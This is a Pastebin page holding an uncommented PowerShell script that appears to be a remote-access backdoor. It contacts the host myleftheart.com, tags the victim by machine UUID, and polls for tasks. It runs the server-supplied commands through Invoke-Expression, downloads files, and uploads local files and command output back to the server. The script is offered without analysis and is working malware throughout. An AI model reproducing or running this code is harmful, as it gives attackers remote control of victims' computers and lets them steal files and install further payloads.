Advertisement
opexxx

9D3D8FE14927172CA5546BDB95D94762

Apr 18th, 2019
238
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. $BBA = "http://" + [System.Net.Dns]::GetHostAddresses("myleftheart.com")
  2. ${global:$CCA} = new-object system.net.WebClient
  3. $t = get-wmiobject Win32_ComputerSystemProduct  | Select-Object -ExpandProperty UUID
  4. $DDA = $t | %{"atag12" + $_.Replace('-', '') + "1234567890"} | %{$_.substring(0,10)}
  5. $EEA = $env:PUBLIC+"\Public\files\";
  6. if(-not(Test-Path $EEA)) {md $EEA}
  7. $FFA = $EEA+"cfg.ini";
  8. if(Test-Path $FFA) {
  9.     $ls = Get-Content  $FFA | Where { $_ -notmatch '^\s+$' }
  10.     foreach ($l in $ls)
  11.     {
  12.         $GGA = $l -split ','
  13.         if($GGA[0] -eq "srv"){$HHA = $GGA[1] + "";}
  14.         if($GGA[0] -eq "usr"){$IIA = $GGA[1] + "";}
  15.         if($GGA[0] -eq "pas"){$JJA = $GGA[1] + "";}
  16.         if($GGA[0] -eq "prt"){$KKA = $GGA[1] + "";}
  17.         if($GGA[0] -eq "dom"){$LLA = $GGA[1] + "";}
  18.     }
  19.     $u = "http://" + $HHA + ":" + $KKA;
  20.     $MMA = new-object System.Net.WebProxy($u, $true);
  21.     $NNA = new-object System.Net.NetworkCredential($IIA, $JJA, $LLA)
  22.     $MMA.credentials = $NNA
  23.     ${global:$CCA}.proxy = $MMA;
  24. } else {${global:$CCA}.proxy = [System.Net.WebProxy]::GetDefaultProxy()}
  25. $r = $true;
  26. while($r) {
  27.     $r = $false;
  28.     $OOA = -join (Get-Random -InputObject (0 .. 9) -Count (%{Get-Random -InputObject (1..9)}))
  29.     $PPA = $DDA.Insert(5, $OOA)
  30.     $QQA = ${global:$CCA}.DownloadString("$($BBA)/co/$($PPA)")
  31.     write-host $QQA
  32.     $RRA = ""
  33.     if ($QQA) {
  34.         $SSA = $QQA.split("<>") | where {$_}
  35.         $TTA = $SSA[0];
  36.         $p = $EEA+"$TTA"
  37.         if($SSA.length -gt 4) {
  38.             write-host $SSA[1]
  39.             if ($SSA[2] -ne "not" -and $SSA[2]){
  40.                 write-host $SSA[2];
  41.                 ${global:$CCA}.DownloadFile("$BBA/fil/"+$SSA[3], $EEA+$SSA[2]);
  42.                 "File saved in "+$EEA+$SSA[2] | Add-Content $p
  43.             }
  44.             if ($SSA[1] -ne "not" -and $SSA[1]){
  45.                 $RRA += $SSA[1]+"<br/>"
  46.                 $rcnt = $SSA[1] | ? { $_.trim() -ne "" }
  47.                 $RRA += $rcnt.Split("&") | foreach-object { Try { $_ | iex | Out-String } Catch { $_ | Out-String} }
  48.                 $RRA+"<>" | Set-Content $p
  49.                 #${global:$CCA}.UploadString("$BBA/res/$PPA$TTA", $RRA);
  50.             }
  51.             if ($SSA[4] -ne "not" -and $SSA[4]){
  52.                 write-host $SSA[4]
  53.                 if(Test-Path $SSA[4]) {
  54.                     ${global:$CCA}.UploadFile("$BBA/fil/$PPA$TTA", $SSA[4]);
  55.                     "upl<>"+$SSA[4] | Add-Content $p
  56.                 }
  57.             }
  58.             if($SSA[$SSA.length -1] -eq "1") {
  59.                 $r = $true;
  60.             }
  61.             if($TTA -ne "not" -and $TTA) {
  62.                 ${global:$CCA}.UploadFile("$BBA/res/$PPA$TTA", $p);
  63.                 Remove-Item $p -Force
  64.             }
  65.         }
  66.     }
  67. }
  68.  Close
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement